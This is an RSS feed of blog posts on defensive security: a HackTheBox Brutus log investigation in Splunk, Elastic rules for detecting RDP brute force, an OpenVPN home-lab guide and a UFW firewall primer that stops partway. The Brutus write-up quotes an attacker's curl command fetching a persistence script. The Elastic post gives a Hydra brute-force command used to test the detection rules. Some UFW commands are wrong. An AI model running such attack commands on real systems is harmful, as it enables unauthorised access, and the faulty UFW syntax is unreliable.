<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jeyavasan on Medium]]></title>
        <description><![CDATA[Stories by Jeyavasan on Medium]]></description>
        <link>https://medium.com/@0xtesla?source=rss-772ba6252161------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vmZSyS72j0tli5SsNe9q9w.png</url>
            <title>Stories by Jeyavasan on Medium</title>
            <link>https://medium.com/@0xtesla?source=rss-772ba6252161------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 18:20:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xtesla/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB — Brutus — Solving HTB Sherlock using Splunk]]></title>
            <link>https://0xtesla.medium.com/htb-brutus-solving-htb-sherlock-using-splunk-55ab44fbef3e?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/55ab44fbef3e</guid>
            <category><![CDATA[brutus]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Fri, 19 Sep 2025 10:58:16 GMT</pubDate>
            <atom:updated>2025-09-19T10:58:16.803Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>HTB — Brutus — Solving HTB Sherlock using Splunk</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMZkM7S-AOD3MHZG.jpg" /></figure><p>Welcome to a new blog post where we explore solving <strong>Brutus</strong>, a Sherlock challenge on HackTheBox! For those passionate about blue team skills such as threat hunting, log analysis, and incident response Sherlock challenges are an excellent way to practice real-world defensive techniques.</p><p>Sherlock challenges focus on investigating events, analyzing logs, and uncovering signs of intrusion. Brutus is one such challenge within this category that puts these skills to the test. By working through Brutus, we get hands-on experience detecting malicious activity and understanding attacker behavior in a controlled environment.</p><p>There are many approaches and tools you can use to tackle this challenge and extract answers from the logs provided in HackTheBox. However, since I’m most comfortable with Splunk, I’ll demonstrate how to use Splunk to solve this challenge. If you’re unfamiliar with setting up Splunk, you can easily find guides online or use generative AI to learn how to quickly spin up a Splunk Enterprise instance using Docker.</p><h4>Step 1: Download and Extract the Brutus Challenge Files</h4><p>First, download the `brutus.zip` file from HackTheBox. Extract it using 7-Zip (or any ZIP extraction tool) with the password:</p><blockquote>hacktheblue</blockquote><p>Inside, you’ll find the <em>`auth.log` </em>file, which we will analyze in Splunk.</p><h4>About <em>auth.log</em> File in Unix/Linux Systems</h4><p>The <strong>auth.log</strong> file is a critical log on Unix and Linux systems that records all authentication-related events. This includes successful and failed login attempts, sudo access, SSH connections, and other authorization activities. Typically located at <em>var/log/auth.log </em>(Debian/Ubuntu) or <em>/var/log/secure</em> (Red Hat/CentOS), this file is essential for monitoring system security and investigating potential breaches. It is generated by the system’s syslog service and contains timestamped entries about who accessed the system, when, and how — making it invaluable for blue team investigations.</p><h4>Step 2: Set Up Splunk for Data Import</h4><p>Open your Splunk instance.</p><ol><li>Click on <strong>Settings</strong> &gt; <strong>Add Data</strong>.</li><li>Choose <strong>Upload </strong>and browse to select the extracted <em>`auth.log`</em> file from the Brutus challenge.</li></ol><h4>Step 3: Configure Data Input Settings in Splunk</h4><p><strong>Source Type:</strong> Set this to syslog since auth.log entries follow the syslog format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hiQ4rs0fS7EdkXgdB6kmRA.png" /></figure><p>I’m saving the sourcetype name as brutus_auth as well :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*YTYNwLw5X8sLbY23cLhJGA.png" /></figure><ul><li>Index: Use the custom index name brutus . You can leave the other options as default.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p91Y3FSHSLSkOhsDPJRcQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*PVEWK29Eo7p5ST7vuQluyw.png" /></figure><ul><li>Timestamp Recognition: Leave it as Auto to let Splunk automatically detect timestamps.</li><li>Host Name: Set the host value as brutus to identify the machine origin in your searches.</li></ul><h4>Step 4: Upload and Index the Data</h4><p>Click Next and then Submit to start uploading and indexing your auth.log file data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baOwXJrd-1S_SMFWevHenw.png" /></figure><h4>Step 5: Start Searching and Analyzing</h4><p>Once the data is indexed, open the Splunk Search and use queries like:index=&quot;brutus&quot; sourcetype=&quot;brutus_auth</p><pre>index=&quot;brutus&quot; sourcetype=&quot;brutus_auth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZaLCSa7tkCFK4IuBw3Obw.png" /></figure><p>Now we can start searching and finding out our answers.</p><blockquote>Q1 . Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?</blockquote><p>To answer this question let’s use regex to find out all the IPs present on the logs, we can use the regex and view it as stats to view the IPs present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9EfIJO7LdFyLxfU_IaDLvg.png" /></figure><p>We have two IPs , the first one being connected only one time and there is another with 214 events, so that must be out brute-force IP.</p><blockquote>ANS : 65.2.161.68</blockquote><pre><br>index=brutus sourcetype=&quot;brutus_auth&quot;<br>| rex field=_raw &quot;(?&lt;src_ip&gt;\d{1,3}(\.\d{1,3}){3})&quot;<br>| stats count by src_ip<br></pre><blockquote>Q2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?</blockquote><p>So to find out the successful login , I googled how a typical successful log line would look line in auth.log in linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXeBQO7IoGync8QUyFckhw.png" /></figure><p>This gives us an idea of a successful login.</p><blockquote>example log: Accepted password for username from 192.0.2.123 port 60979 ssh2</blockquote><p>Searching for the same pattern we get four events, I’m excluding the other IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Es-maQwRy-kHUpefgu28Mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VyxH-ZZMbNQSK5YgSQGcSA.png" /></figure><p>So we can see the root account got compromised from the suspicious IP first , hence that is out answer.</p><blockquote>ANS: root</blockquote><pre>index=brutus sourcetype=&quot;brutus_auth&quot; Accepted password <br>| search NOT &quot;203.101.190.9&quot;</pre><p>Another interesting insight and an addition step to validate if this was a brute force attempt we could build a query to actually see all the connections made from the IP address failures and success count and their timestamps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mSW4BUs8vsUsOvMLrjeAyA.png" /></figure><pre>index=brutus sourcetype=&quot;brutus_auth&quot; ssh2<br>| search NOT &quot;203.101.190.9&quot;<br>| search 65.2.161.68<br>| search root</pre><p>Now we can observe that after 7 failure attempts the IP successfully brute-forces the password.</p><blockquote>Q3. Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.</blockquote><p>We can look at the wtmp file for any information regarding the timestamp</p><p>Let’s use a inbuilt linux tool called last to investigate the wtmpfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPJL0M6XsFd4n2OBE70aMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*cwDn8Sh-IijYCefWh2wUqQ.png" /><figcaption>So to view the full login times in the time-zone UTC ,</figcaption></figure><p>So to view the full login times in the time-zone UTC , we can first set the time-zone to UTC first by setting the env variable TZ to UTC.</p><pre>TZ=UTC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*xuU8yQ9T_7LrdKN25NQIgg.png" /></figure><pre>last -f wtmp -F</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBNpReh_WD8EHBCKqjHtoQ.png" /></figure><blockquote>ANS: 2024–03–06 06:32:45</blockquote><blockquote>Q4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAZlFhe-DMhVw2kWr0eorg.png" /></figure><p>37 because that is the session that matches our timestamp.</p><pre>index=brutus sourcetype=&quot;brutus_auth&quot; New session</pre><blockquote><em>ANS : 37</em></blockquote><blockquote>Q5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</blockquote><p>In linux to add new users we use the useradd command,it is a low-level utility used to create new user accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILZBWalTTj3T21baKC4CFg.png" /></figure><pre>index=brutus sourcetype=&quot;brutus_auth&quot; useradd</pre><blockquote>ANS : cyberjunkie</blockquote><blockquote>Q6. What is the MITRE ATT&amp;CK sub-technique ID used for persistence by creating a new account?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NnBa9srD0dFOOlVfgxgFkQ.png" /></figure><p>https://attack.mitre.org/techniques/T1136/</p><p>Since the created account is a local account, the answer is:</p><blockquote><em>ANS: T1136.001</em></blockquote><blockquote>Q7. What time did the attacker’s first SSH session end according to auth.log?</blockquote><p>If we filter out events particular to that session id , we get our answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgNfhpDpD2q_9KhknxYX2g.png" /></figure><pre>index=brutus sourcetype=&quot;brutus_auth&quot;  &quot;sshd[2491]&quot;</pre><blockquote><em>ANS: 2024–03–06 06:37:24</em></blockquote><blockquote>Q8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</blockquote><p>Since most common ways of downloading a file is using either wget or curl let&#39;s filter out those events with that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UPLiiPGnalmm_k--lhLUAg.png" /></figure><p>We got our final answer for the sherlock</p><pre>index=brutus sourcetype=&quot;brutus_auth&quot; wget OR curl</pre><blockquote>ANS: /usr/bin/curl <a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh">https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</a></blockquote><p>Hopefully this helped you learn a bit of Splunk , Linux auth logs and getting started with Sherlocks in HTB.</p><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*2oHx6ockBjtOeadM.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55ab44fbef3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting RDP Brute Force Attacks with Elastic: A Step-by-Step Guide]]></title>
            <link>https://0xtesla.medium.com/detecting-rdp-brute-force-attacks-with-elastic-a-step-by-step-guide-0f3fbbdaa86e?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f3fbbdaa86e</guid>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[kibana]]></category>
            <category><![CDATA[rdp]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Sun, 15 Dec 2024 11:19:45 GMT</pubDate>
            <atom:updated>2024-12-16T08:53:38.642Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/722/0*gFQqHT6ZzjIFRdtI.png" /></figure><p>In this blog, I will discuss how to create rules in Elastic to detect RDP brute force attacks. We’ll explore two methods: creating threshold alerts using the <strong>Discover</strong> tab and configuring rules in the <strong>Security</strong> section of the ELK dashboard. As an example, we’ll focus on detecting failed RDP logon attempts with <strong>Event ID 4625</strong>.</p><p>For ELK Stack setup follow this blog :<br><a href="https://medium.com/@tech-n0/c-6e4b2415bab2">https://medium.com/@tech-n0/c-6e4b2415bab2</a></p><h3>Method 1: Creating Threshold Alerts via the Discover Tab</h3><ol><li><strong>Navigate to the Discover Tab<br></strong>Open the Discover tab in your Elastic dashboard.</li><li><strong>Search for the Event Code<br></strong>Specify the event ID for RDP failed logons in the search bar. For this example, use: event.code: 4625 <em>(Refer to the</em> <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625"><em>Ultimate Windows Security Encyclopedia</em></a> <em>for more details about this event ID.)</em></li><li><strong>Apply Filters</strong><br>Add filters such as:</li></ol><ul><li>host.name</li><li>user.name</li><li>source.ip</li></ul><p>This will narrow down the search results to your specific needs.</p><p>4. <strong>Save the Search</strong><br>Click the Save button in the top-right corner and give your search a meaningful name. This saved search will make it easier to reuse later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Z0uc5HVyAZ7xLnk8DS1Sg.png" /></figure><p>5. <strong>Access Saved Searches<br></strong>You can find and manage your saved searches under the Saved Searches section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NueE-Z_kdqqZrFxqfe_Csg.png" /></figure><p>6. <strong>Create a Threshold Rule</strong></p><ul><li>Click the Alerts button in the top-right corner.</li><li>Select Create search threshold rule.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*MW1fKbb4IXe0nw0hsPeIXQ.png" /></figure><p>7. <strong>Configure the Rule</strong></p><ul><li>Name your rule.</li><li>Set the threshold to a suitable value. For this demo, we’ll set the threshold to 5 (e.g., trigger an alert after five failed attempts).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*IasAtJG-ofhytgxZ0gx-kQ.png" /></figure><p>8. Save the Rule<br>Leave other settings as default and save the rule.</p><p>Now the alert is configured and ready to detect brute force attempts based on your saved search</p><h3>Method 2: Creating Rules in the Security Tab</h3><ol><li>Access the Rules Section<br>Go to Hamburger Menu &gt; Security &gt; Rules in the ELK dashboard.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRdOMf6L9C4PwI_n6riw0A.png" /></figure><p>2. Create a New Rule</p><ul><li>Click Create new rule.</li><li>Select the Threshold rule type.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FAoZi5vYnl8h9Qtjrp7eHQ.png" /></figure><p>3. Set Rule Details</p><ul><li>Configure the rule event.code : &quot;4625&quot; and agent.name : AGENT-NAME and user.name : USERNAME in Custom Query</li><li>Add filters such as user.name, source.ip in Group by</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*jEg1TSQ0MfaxqbFfKUSgQg.png" /></figure><p>4. Set Risk Score and Severity</p><ul><li>Assign a risk score (e.g., Critical, High, Medium, or Low) based on your environment’s requirements. In this case I&#39;m setting to High</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqH665ITChuCVfpI-Z939A.png" /></figure><p>5. Schedule the Rule</p><ul><li>Define how frequently the rule should run. For this demo, set a reasonable schedule (e.g., every 1 minute).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkDn-jTdFtnWhWbG2KSV-Q.png" /></figure><p>6. Save and Enable the Rule</p><ul><li>Once all details are configured, save and enable the rule.</li></ul><p>Now the rule is active and will monitor for RDP brute force attempts.</p><h3>Testing with Hydra</h3><p>To test the configuration, we simulate an RDP brute force attack using Hydra:</p><pre>hydra -l administrator -P pass.txt rdp://192.168.1.102</pre><p>Here:</p><ul><li>-l administrator: Specifies the username.</li><li>-P pass.txt: Points to the password file for the attack.</li><li>rdp://192.168.1.102: Specifies the target IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CVnlV6dUf7IshvmTq3OB8g.jpeg" /></figure><h3>Results</h3><h3>For Method 1:</h3><p>After executing the Hydra attack, the alert is visible under Observability &gt; Alerts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SDRKC5XbpeRW7xte5GFtA.png" /></figure><h3>For Method 2:</h3><p>Similarly, for the second method, the alert is generated under Security &gt; Rules &gt; Alerts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOfiyJikLDz2MCzYaiwreA.png" /></figure><p>Both methods effectively detect RDP brute force attempts using Elastic. The <strong>Discover Tab</strong> method is quick and straightforward, ideal for smaller use cases. The <strong>Security Tab</strong> method offers advanced configurations and better integration for managing alerts. Choose the approach that best fits your environment and security needs. With these configurations in place, you can monitor and respond to brute force attacks effectively.</p><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*-Is0c9CewIn8AVUX.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f3fbbdaa86e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Connect Two Home-labs with OpenVPN and make it accessible across the internet.]]></title>
            <link>https://0xtesla.medium.com/connect-two-home-labs-with-openvpn-and-make-it-accessible-across-the-internet-938d62858e47?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/938d62858e47</guid>
            <category><![CDATA[digital-ocean-droplet]]></category>
            <category><![CDATA[openvpn]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[openvpn-access-server]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Tue, 10 Dec 2024 14:37:20 GMT</pubDate>
            <atom:updated>2024-12-10T14:37:20.147Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*t6s_Ll1gHyDlx8WvjwzJKw.png" /><figcaption>Home-lab setup diagram</figcaption></figure><p>My friend Hemanth (Check out his blogs <a href="https://medium.com/@t3ch_no">here!</a>) and I decided to connect our home-labs to obtain a combined computing power to learn by experimenting and practicing security tools &amp; services. <br>To achieve this, I set up an OpenVPN Access Server on a DigitalOcean droplet and linked our home-labs securely using VPN clients. This way we will be under the same virtual private network making each other’s machines accessible over the internet.<br>Here’s a step-by-step guide on how you can also try it:</p><h4>Prerequisites</h4><p>1. <strong>A DigitalOcean account</strong> to create the droplet. Any cloud provider with Openvpn access server will also work the same, but I will use DigitalOcean for demo in this blog.<br>2. <strong>Homelab machines</strong> that can run OpenVPN clients.<br>3. An <strong>SSH client </strong>to connect to the droplet.</p><h3>Step 1: Create a DigitalOcean Droplet</h3><ol><li>Log in to your DigitalOcean account.</li><li>Click on Create &gt; Droplets.</li><li>Select the Marketplace tab and search for OpenVPN Access Server.</li><li>Choose the server size. A basic $6/month plan worked fine for me.</li><li>Select your preferred data center region.</li><li>Add your SSH key for secure access or enable a password.</li><li>Click Create Droplet.</li></ol><p>Once the droplet is ready, take note of its IP address. This will be your OpenVPN Access server’s address.</p><h3>Step 2: Configure OpenVPN Access Server</h3><ol><li>SSH into the droplet:</li></ol><pre>ssh root@&lt;DROPLET_IP&gt;</pre><p>2. OpenVPN Access Server comes pre-installed on the droplet. To complete the setup, follow the on-screen instructions to set up the admin user and password.</p><p>3. Log in with the credentials you created during the SSH setup.</p><p>4. After logging in go through the installation process, set your credentials for admin access. the default will be opevpn with a randomly generated password.</p><p>5. Make sure to note down the credentials securely somewhere.</p><p>6. After the setup is complete, visit OpenVPN’s Web interface here:</p><pre>https://&lt;DROPLET_IP&gt;:943/admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*zIldQ4MDpkJ5cnu5rahUsA.png" /><figcaption>OpenVPN Access server Web interface Login</figcaption></figure><h3>Step 3: Add VPN Clients for the Home-lab Machines</h3><ol><li>From the admin dashboard, go to the Users section.</li><li>Create user accounts for each home-lab.</li><li>Download the OpenVPN client software from:</li></ol><pre>https://&lt;DROPLET_IP&gt;:943/</pre><p>Log in with the user credentials to download the configuration file and client.</p><p>Note : Each user’s client software is unique so login to the client web interface and download your files.</p><h3>Step 4: Install and Connect OpenVPN Clients</h3><ol><li>Install the OpenVPN client on your home-lab machines:</li></ol><p>For Linux :</p><pre>sudo apt update<br>sudo apt install openvpn</pre><p>2. Import the configuration file downloaded earlier.</p><p>3. Connect to the VPN:</p><pre>sudo openvpn &lt;CONFIG_FILE.ovpn&gt;</pre><p>For Windows or macOS, download the client from the OpenVPN website, simply install and use the GUI client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*XkhsFcMO-rOMFvL2LVcngw.png" /><figcaption>OpenVPN Windows Client GUI</figcaption></figure><h3>Step 5: Verify the Connection</h3><ol><li>Once connected, both home-labs should be on the same VPN network.</li><li>Test connectivity between home-lab machines using ping or similar tools:</li></ol><pre>ping &lt;REMOTE_HOMELAB_IP&gt;</pre><p>3. You can access the machines across the internet with the IP shown in the tun interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/0*Ck-b5LYyh8Evzd-g.gif" /></figure><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*DPn7CDfJrxUBEYkN.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=938d62858e47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Firewalls 101 — A comprehensive introduction to concept of firewalls and UFW (Uncomplicated…]]></title>
            <link>https://0xtesla.medium.com/firewalls-101-a-comprehensive-introduction-to-concept-of-firewalls-and-ufw-uncomplicated-fbc2a927b93e?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbc2a927b93e</guid>
            <category><![CDATA[ubuntu-ufw]]></category>
            <category><![CDATA[ufw]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[firewall-security]]></category>
            <category><![CDATA[firewall]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Sat, 20 Jul 2024 12:18:12 GMT</pubDate>
            <atom:updated>2024-07-20T12:18:12.106Z</atom:updated>
            <content:encoded><![CDATA[<h3>Firewalls 101 — A comprehensive introduction to concept of firewalls and UFW (Uncomplicated Firewall)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KCB4xTH6tu2vXpb_.jpg" /></figure><h3>What are firewalls?</h3><p>Firewalls are security systems that monitor and control incoming and outgoing network traffic based on predetermined security rules. They act as a barrier between a trusted internal network and untrusted external networks, such as the internet, to prevent unauthorized access and protect against cyber threats. To put it simply….</p><p>Imagine your computer is throwing a party. Your firewall is the bouncer at the door with a strict guest list. “Packets? Names, please.” If you’re on the list (approved traffic), you’re in for the party. If you’re not, it’s “Sorry, bud, take your spammy self elsewhere!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*iVhGITBdSpAEhLE1BLbVeQ.png" /><figcaption>bouncer at the door</figcaption></figure><h3>Types of firewalls</h3><ul><li><strong>Packet Filtering Firewall</strong>: Operates at the network layer, examining each packet’s header for predefined rules. It allows or blocks traffic based on IP addresses, ports, and protocols. It’s efficient but lacks deep inspection of packet content.</li><li><strong>Stateful Inspection Firewall</strong>: Monitors the state of active connections and makes decisions based on the context of the traffic. It maintains state tables to track ongoing sessions and allows only legitimate packets that belong to an active connection.</li><li><strong>Proxy Firewall</strong>: Functions as an intermediary between end-users and the resources they access. It intercepts all requests and performs deep packet inspection before forwarding them, providing a high level of security by masking the internal network from external threats.</li><li><strong>Next-Generation Firewall (NGFW)</strong>: Integrates traditional firewall capabilities with advanced features like deep packet inspection, intrusion prevention systems (IPS), and application-level inspection. It can identify and control applications and protect against sophisticated threats.</li><li><strong>Unified Threat Management (UTM) Firewall</strong>: Combines multiple security features, such as firewall, antivirus, intrusion prevention, and content filtering, into a single appliance. It provides a comprehensive security solution for simplified management.</li><li><strong>Cloud Firewall</strong>: Delivered as a service, it protects cloud infrastructure and resources. It offers scalability and flexibility, securing cloud environments by inspecting and controlling traffic to and from cloud applications.</li><li><strong>Hardware Firewall</strong>: A physical device installed at the perimeter of a network to filter traffic entering or leaving the network. It provides robust and dedicated security but requires physical deployment and maintenance.</li><li><strong>Software Firewall</strong>: Installed on individual devices to monitor and control incoming and outgoing traffic. It provides protection for the specific device on which it is installed, often used in personal computers and mobile devices.</li></ul><h3>Stateful vs Stateless Firewalls</h3><p><strong>Stateful Firewalls</strong></p><p>Firewalls that track the state of active connections and make decisions based on the context of traffic. Think of a stateful firewall as a vigilant security guard who not only checks the ID of each person entering a building but also keeps track of who is inside and their current activities. This guard ensures that only those with valid reasons for being there can enter or re-enter.</p><p><strong><em>Tracks Connections: <br></em></strong><em>Monitors ongoing sessions, ensuring that packets are part of established connections.</em></p><p><strong><em>Security:</em></strong><em> <br>Offers advanced protection by understanding the context of traffic, effectively preventing complex attacks.</em></p><p><strong><em>Performance: <br></em></strong><em>Generally slower due to the overhead of maintaining a state table.</em></p><p><strong><em>Complexity: </em></strong><em>More complex to configure and manage, offering greater control over traffic.</em></p><p><strong><em>Ideal For:</em></strong><em> High-security environments, such as corporate networks handling sensitive data.</em></p><p><strong>Stateless Firewalls</strong></p><p>Firewalls that filter packets based solely on predefined rules, without tracking the state of connections. Imagine a stateless firewall as a simple doorman who checks each person’s ID at the entrance without any memory of who has entered before. Each guest is evaluated independently, without considering previous interactions.</p><p><strong><em>Security:</em></strong><em> Provides basic protection by filtering traffic based on static criteria, but lacks the context of ongoing connections.</em></p><p><strong><em>Performance:</em></strong><em> Generally faster due to the absence of state-tracking overhead.</em></p><p><strong><em>Complexity: </em></strong><em>Easier to configure and manage, but offers less granular control over traffic.</em></p><p><strong><em>Ideal For:</em></strong><em> Environments where speed is crucial and security requirements are basic.</em></p><h4>Let’s get Hands on , with <strong>Uncomplicated Firewall (UFW)</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*wdBWtHvIMazXEG3g.png" /></figure><p>Uncomplicated Firewall (UFW) is a user-friendly tool designed to manage the complex netfilter firewall in Linux systems. It simplifies the process of configuring firewall rules, making it accessible to users with varying levels of technical expertise.</p><p>UFW is pre-installed in Ubuntu distros by default. If it is not, use this command to install:</p><pre>sudo apt install ufw</pre><p>you can check your current UFW ruleset with sudo ufw status or sudo ufw status verbose.</p><h4>Enabling and Disabling :</h4><p>To enable the firewall:</p><pre>sudo ufw enable</pre><p>To disable the firewall:</p><pre>sudo ufw disable</pre><h3>Creating rules in the firewall:</h3><h4>Allowing and Denying by Service:</h4><p>To enable services the syntax is</p><pre>sudo ufw enable &lt;service name&gt;</pre><p>examples:</p><pre>sudo ufw enable ssh<br>sudo ufw enable http<br>sudo ufw enable https</pre><p>To deny services the syntax is</p><pre>sudo ufw deny &lt;service name&gt;</pre><p>examples:</p><pre>sudo ufw deny ssh<br>sudo ufw deny http<br>sudo ufw deny https</pre><h4>Allowing and Denying IP addresses and subnets:</h4><p>To deny/allow all network connections that originate from a specific IP address, run the following command, replacing the highlighted &lt;IP address&gt; with the IP address that you want to deny/allow:</p><pre>sudo ufw deny/allow from &lt;ip address&gt;</pre><p>you can choose to use any one of the parameters that is allow or deny <br>examples with fictional ip:</p><pre>sudo ufw deny from 192.168.0.007</pre><p>If you need to deny/allow a full subnet, you may use the subnet address as from parameter on the ufw deny or ufw allow command. This would deny or allow all IP addresses in the example subnet 192.168.0.007/24 :</p><pre>sudo ufw deny/allow from &lt;ip address/CIDR Notation&gt;</pre><p>example:</p><pre>sudo ufw deny from 192.168.0.0/24</pre><p>The /24 in the IP address the in 192.168.0.7/24represents the subnet mask in CIDR notation. In summary, the/24 in 192.168.0.7/24 defines the network size and how IP addresses are divided into network and host portions.</p><h4>Allowing and Denying by specific interface:</h4><p>To deny incoming connections from a specific IP address to a specific network interface, run the following command, replacing the highlighted IP address with the IP address you want to block:</p><pre>sudo ufw deny in on &lt;interface&gt; from &lt;ip address&gt;</pre><pre>sudo ufw deny in on eth0 from 203.0.113.100</pre><p>To allow incoming connections from a specific IP address to a specific network interface, run the following command, replacing the highlighted IP address with the IP address you want to allow:</p><pre>sudo ufw allow in on &lt;interface&gt; from &lt;ip address&gt;</pre><pre>sudo ufw allow in on eth0 from 203.0.113.102</pre><h4>View the existing rules:</h4><p>To view the existing rules we can use this command again:</p><pre>sudo ufw status</pre><p>output:</p><pre>Status: active<br><br>To                         Action      From<br>--                         ------      ----<br>80/tcp                     ALLOW       Anywhere                  <br>443                        ALLOW       Anywhere                  <br>22/tcp                     ALLOW       Anywhere                  <br>Anywhere                   DENY        192.168.0.007             <br>Anywhere                   DENY        192.168.0.0/24            <br>80/tcp (v6)                ALLOW       Anywhere (v6)             <br>443 (v6)                   ALLOW       Anywhere (v6)             <br>22/tcp (v6)                ALLOW       Anywhere (v6)</pre><p>You can use the parameter numbered with the command to view the rules in a numbered order</p><pre>sudo ufw status numbered</pre><p>output:</p><pre>Status: active<br><br>     To                         Action      From<br>     --                         ------      ----<br>[ 1] 80/tcp                     ALLOW IN    Anywhere                  <br>[ 2] 443                        ALLOW IN    Anywhere                  <br>[ 3] 22/tcp                     ALLOW IN    Anywhere                  <br>[ 4] 